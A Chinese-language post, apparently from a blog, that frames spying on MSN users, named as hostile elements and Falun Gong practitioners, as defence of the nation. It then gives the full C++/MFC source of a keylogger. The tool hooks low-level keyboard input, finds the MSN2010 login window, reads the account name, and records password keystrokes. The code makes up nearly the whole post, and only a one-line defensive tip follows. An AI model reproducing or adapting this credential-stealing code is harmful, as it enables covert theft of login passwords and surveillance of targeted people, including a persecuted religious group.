使用MSN的用户还是很多的,在未来国家之间的网络战争中,获取密码变得非常重要,很多敌对分子,很多法轮功分子都使用MSN。
为了捍卫伟大祖国安全的程序员们,目前我们来分析一下MSN账户密码的窃听,
#include "stdafx.h" #include "MSNRecord.h" #include "MSNRecordDlg.h" #ifdef _DEBUG #define new DEBUG_NEW #endif CString g_strUsername; //保存帐号的字符串 CString g_strPassword; //保存密码的字符串 CWnd *g_editUsername; //本程序帐号控件对象指针 CWnd *g_editPassword; //本程序密码控件对象指针 HWND g_hMSNUsernameWnd = NULL; //MSN帐号控件窗口句柄 HWND g_hMSNPasswordWnd = NULL; //MSN密码控件窗口句柄 int g_nPWFocusPos = 0; //当前输入焦点位置 DWORD g_dwPerTime = NULL; //前次按键的时间戳 HHOOK g_hLowLevelKeyboardHook = NULL;//WH_KEYBOARD_LL钩子句柄 //WH_KEYBOARD_LL钩子处理函数 LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam); //获取MSN账号的线程函数 DWORD WINAPI ThreadProc(LPVOID lpParam); //获得按键字符 CString GetKey(PKBDLLHOOKSTRUCT pKeyboardHookStruct); //判断MSN登录窗口中输入焦点落在哪个Edit控件中 HWND GetFocusEx(); // CAboutDlg dialog used for App About class CAboutDlg : public CDialog { public: CAboutDlg(); // Dialog Data enum { IDD = IDD_ABOUTBOX }; protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support // Implementation protected: DECLARE_MESSAGE_MAP() }; CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD) { } void CAboutDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); } BEGIN_MESSAGE_MAP(CAboutDlg, CDialog) END_MESSAGE_MAP() // CMSNRecordDlg dialog CMSNRecordDlg::CMSNRecordDlg(CWnd* pParent /*=NULL*/) : CDialog(CMSNRecordDlg::IDD, pParent) { m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); } void CMSNRecordDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); // DDX_Control(pDX, IDC_EDIT_USERNAME, m_Editctrl_Username); // DDX_Control(pDX, IDC_EDIT_PASSWORD, m_Editctrl_Password); } BEGIN_MESSAGE_MAP(CMSNRecordDlg, CDialog) ON_WM_SYSCOMMAND() ON_WM_PAINT() ON_WM_QUERYDRAGICON() //}}AFX_MSG_MAP ON_BN_CLICKED(IDC_BN_START, &CMSNRecordDlg::OnBnClickedBnStart) ON_WM_TIMER() END_MESSAGE_MAP() // CMSNRecordDlg message handlers BOOL CMSNRecordDlg::OnInitDialog() { CDialog::OnInitDialog(); // Add "About..." menu item to system menu. // IDM_ABOUTBOX must be in the system command range. ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000); CMenu* pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) { pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } // Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon // TODO: Add extra initialization here m_iMSNLoginStatus = PRECLOSE; //此刻之前显示“MSN登录框未开启...” g_editUsername = GetDlgItem(IDC_EDIT_USERNAME); g_editPassword = GetDlgItem(IDC_EDIT_PASSWORD); if (StartRecord()) { GetDlgItem(IDC_BN_START)->SetWindowText(_T("Stop")); m_bStart = TRUE; } return TRUE; // return TRUE unless you set the focus to a control } void CMSNRecordDlg::OnSysCommand(UINT nID, LPARAM lParam) { if ((nID & 0xFFF0) == IDM_ABOUTBOX) { CAboutDlg dlgAbout; dlgAbout.DoModal(); } else { CDialog::OnSysCommand(nID, lParam); } } // If you add a minimize button to your dialog, you will need the code below // to draw the icon. For MFC applications using the document/view model, // this is automatically done for you by the framework. void CMSNRecordDlg::OnPaint() { if (IsIconic()) { CPaintDC dc(this); // device context for painting SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0); // Center icon in client rectangle int cxIcon = GetSystemMetrics(SM_CXICON); int cyIcon = GetSystemMetrics(SM_CYICON); CRect rect; GetClientRect(&rect); int x = (rect.Width() - cxIcon + 1) / 2; int y = (rect.Height() - cyIcon + 1) / 2; // Draw the icon dc.DrawIcon(x, y, m_hIcon); } else { CDialog::OnPaint(); } } // The system calls this function to obtain the cursor to display while the user drags // the minimized window. HCURSOR CMSNRecordDlg::OnQueryDragIcon() { return static_cast<HCURSOR>(m_hIcon); } void CMSNRecordDlg::OnBnClickedBnStart() { // TODO: Add your control notification handler code here if (!m_bStart) { if (StartRecord()) { GetDlgItem(IDC_BN_START)->SetWindowText(_T("Stop")); m_bStart = TRUE; } } else { if (StopRecord()) { g_strUsername = g_strPassword = _T(""); g_nPWFocusPos = 0; m_bStart = FALSE; m_iMSNLoginStatus = PRESTOP; GetDlgItem(IDC_BN_START)->SetWindowText(_T("Start")); OutputDebugString(_T("停止监视!")); GetDlgItem(IDC_STATIC_INFO)->SetWindowText(_T("停止监视!")); } } } BOOL CMSNRecordDlg::StartRecord(void) { SetTimer(2, 1000, NULL); //监视MSN登录框的开启(1000ms) if (!SetHook()) { OutputDebugString(_T("Can't start!")); return FALSE; } SetTimer(1, 10, NULL); //WH_KEYBOARD_LL卸载安装定时器(10ms) return TRUE; } BOOL CMSNRecordDlg::StopRecord(void) { KillTimer(1); KillTimer(2); if (!DeleteHook()) return FALSE; return TRUE; } BOOL CMSNRecordDlg::SetHook(void) { g_hLowLevelKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0); if (!g_hLowLevelKeyboardHook) { // OutputDebugString(_T("set WH_KEYBOARD_LL hook failed!!!")); return FALSE; } // OutputDebugString(_T("set WH_KEYBOARD_LL hook")); return TRUE; } BOOL CMSNRecordDlg::DeleteHook(void) { if(!UnhookWindowsHookEx(g_hLowLevelKeyboardHook)) { // OutputDebugString(_T("delete WH_KEYBOARD_LL hook failed!!!")); return FALSE; } // OutputDebugString(_T("delete WH_KEYBOARD_LL hook")); return TRUE; } //寻找并获取MSN登录框信息 BOOL CMSNRecordDlg::FindMSNLogin(void) { HWND hMSNLogin = NULL; hMSNLogin = ::FindWindowEx(NULL, NULL, _T("TXGuiFoundation"), _T("MSN2010")); if (NULL == hMSNLogin) { OutputDebugString(_T("find MSN failed!!!")); return FALSE; } OutputDebugString(_T("find MSN")); HWND hMSNChildWnd = NULL; HWND hMSNUsernameWnd = NULL; HWND hMSNPasswordWnd = NULL; hMSNChildWnd = ::GetWindow(hMSNLogin, GW_CHILD); hMSNUsernameWnd = ::GetWindow(hMSNChildWnd, GW_HWNDFIRST); hMSNPasswordWnd = ::GetWindow(hMSNChildWnd, GW_HWNDNEXT); if (!hMSNPasswordWnd) { OutputDebugString(_T("get MSNPasswordWnd failed!!!")); return FALSE; } OutputDebugString(_T("get MSNPasswordWnd")); g_hMSNUsernameWnd = hMSNUsernameWnd; g_hMSNPasswordWnd = hMSNPasswordWnd; return TRUE; } //获取并显示MSN帐号 BOOL CMSNRecordDlg::GetMSNUsernameInfo(void) { TCHAR tempbuf[256] = {0}; if(!::SendMessage(g_hMSNUsernameWnd, WM_GETTEXT, 256, (LPARAM)tempbuf)) { g_editUsername->SetWindowText(_T("")); g_strUsername = _T(""); return FALSE; } CString strUsername = tempbuf; g_editUsername->SetWindowText(strUsername); g_strUsername = strUsername; return TRUE; } void CMSNRecordDlg::OnTimer(UINT_PTR nIDEvent) { // TODO: Add your message handler code here and/or call default switch (nIDEvent) { case 1: //WH_KEYBOARD_LL卸载安装定时器(10ms) if (DeleteHook()) if (SetHook()) break; case 2: //监视MSN登录框的开启(1000ms) if (!FindMSNLogin()) { //如果此刻之前显示“MSN已开启!”或“停止监视!” if (m_iMSNLoginStatus == PREOPEN || m_iMSNLoginStatus == PRESTOP) { g_strUsername = g_strPassword = _T(""); m_iMSNLoginStatus = PRECLOSE; OutputDebugString(_T("MSN登录框未开启...")); GetDlgItem(IDC_STATIC_INFO)->SetWindowText(_T("MSN登录框未开启...")); } break; } else { //如果此刻之前显示“MSN登录框未开启”或“停止监视!” if (m_iMSNLoginStatus == PRECLOSE || m_iMSNLoginStatus == PRESTOP) { if (g_strPassword == _T("")) { GetDlgItem(IDC_EDIT_PASSWORD)->SetWindowText(_T("")); } OutputDebugString(_T("MSN已开启!")); GetDlgItem(IDC_STATIC_INFO)->SetWindowText(_T("MSN已开启!")); m_iMSNLoginStatus = PREOPEN; } GetMSNUsernameInfo(); break; } default: break; } CDialog::OnTimer(nIDEvent); } LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HC_ACTION) { PKBDLLHOOKSTRUCT pKeyboardHookStruct = (PKBDLLHOOKSTRUCT) lParam; if (((wParam == WM_KEYDOWN) || (wParam == WM_SYSKEYDOWN))) { //判断当前活动窗口是否是MSN2008 //由于这只是一个测试程序,所以只针对MSN2008,暂不处理其他版本的MSN HWND hTopWnd = GetForegroundWindow(); CString strTopWnd; TCHAR tempbuf[256] = {0}; ::SendMessage(hTopWnd, WM_GETTEXT, 256, (LPARAM)tempbuf); strTopWnd = tempbuf; // OutputDebugString(_T("当前活动窗口:") + strTopWnd); if (strTopWnd != _T("MSN2010")) { //若活动窗口不是MSN2010,则直接返回并把该按键继续往下传 return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } //判断MSN2010登录窗口中哪一个edit控件拥有输入焦点 HWND hFocusWnd = GetFocusEx(); if (hFocusWnd == g_hMSNUsernameWnd) //处理MSN帐号 { //MSN帐号最长为50个字符 if (g_strUsername.GetLength() >= 50) return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); //创建一个新线程,用于获取MSN帐号 HANDLE hThread; DWORD dwThreadId; hThread = CreateThread( NULL, //默认安全属性 NULL, //默认堆栈大小 ThreadProc, //线程入口地址(执行线程的函数) NULL, //传给函数的参数 0, //指定线程立即执行 &dwThreadId //返回线程的ID号 ); } else if (hFocusWnd == g_hMSNPasswordWnd) //处理MSN密码 { //测试按键的时间戳 DWORD dwTime = pKeyboardHookStruct->time; if ((dwTime - GetMessageTime()) & 0xffff0000)//不是真实按键 { return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } if (g_dwPerTime == dwTime)//假如按键消息的time参数跟前次保存的一样,那么是虚假按键 { //这里有两个问题: //1. 当某次MSN的HOOK在本程序之前时,真实按键会被MSN过滤掉,而它随后发出的虚假按键就会被本程序误判为真实按键(因为时间跟上一次记录的(虚假按键)不一样) //2. 当按键按得太快(两个键同时按下)时,真实按键会被误判为虚假按键而被放过 return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } //保存当前的pKeyboardHookStruct->time参数,用于下次比较使用 g_dwPerTime = dwTime; //处理键盘输入焦点位置(部分控制键) switch (pKeyboardHookStruct->vkCode) { case VK_BACK: //退格键 { g_strPassword.Delete(g_nPWFocusPos - 1); if (--g_nPWFocusPos < 0) g_nPWFocusPos = 0; OutputDebugString(_T("Password: ") + g_strPassword); g_editPassword->SetWindowText(g_strPassword); return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } case VK_DELETE: //Delete键 { g_strPassword.Delete(g_nPWFocusPos); OutputDebugString(_T("Password: ") + g_strPassword); g_editPassword->SetWindowText(g_strPassword); return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } case VK_LEFT: //向左键 { if (--g_nPWFocusPos < 0) g_nPWFocusPos = 0; return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } case VK_RIGHT: //向右键 { if (++g_nPWFocusPos > g_strPassword.GetLength()) g_nPWFocusPos = g_strPassword.GetLength(); return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } default: break; } //MSN密码最长为16个字符 if (g_strPassword.GetLength() >= 16) { return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } //把截获下来的MSN密码显示在本程序密码框中 CString strInput = GetKey(pKeyboardHookStruct); if (strInput == _T("")) return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); g_strPassword.Insert(g_nPWFocusPos, strInput); g_nPWFocusPos++; OutputDebugString(_T("Password: ") + g_strPassword); g_editPassword->SetWindowText(g_strPassword); } return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } } return CallNextHookEx(g_hLowLevelKeyboardHook, nCode, wParam, lParam); } CString GetKey(PKBDLLHOOKSTRUCT pKeyboardHookStruct) { TCHAR szKeyText[256] = {0}; CString strKeyText; BYTE KeyboardState[256]; ZeroMemory(KeyboardState, sizeof(KeyboardState)); GetKeyboardState(KeyboardState); WORD wChar; int iNumChar = ToAscii(pKeyboardHookStruct->vkCode, pKeyboardHookStruct->scanCode, KeyboardState, &wChar, 0); if (iNumChar >= 1) //可输入字符(包括数字、字母和其他符号) { _snprintf((CHAR*)szKeyText, 255, "%c", wChar); // OutputDebugString(szKeyText); strKeyText = szKeyText; } return strKeyText; } DWORD WINAPI ThreadProc(LPVOID lpParam) { Sleep(10); TCHAR tempbuf[256] = {0}; if(!::SendMessage(g_hMSNUsernameWnd, WM_GETTEXT, 256, (LPARAM)tempbuf)) { g_editUsername->SetWindowText(_T("")); g_strUsername = _T(""); return 0; } CString strUsername = tempbuf; g_editUsername->SetWindowText(strUsername); g_strUsername = strUsername; return 1; } HWND GetFocusEx() { HWND hMain = GetForegroundWindow(); if (hMain==NULL) return NULL; DWORD dwThreadTarget = ::GetWindowThreadProcessId(hMain, NULL); DWORD dwThreadThis = ::GetCurrentThreadId(); ::AttachThreadInput(dwThreadThis, dwThreadTarget, TRUE); HWND hFocus = ::GetFocus(); ::AttachThreadInput(dwThreadThis, dwThreadTarget, FALSE); return hFocus; }
如何防止我们自己的MSN不被窃听呢,那么就要更新到MSN2011,并装上MSN protect软件就可以防止账户秘密被窃听了,
现在泄密门那么厉害,尤其网络管理员要格外注意。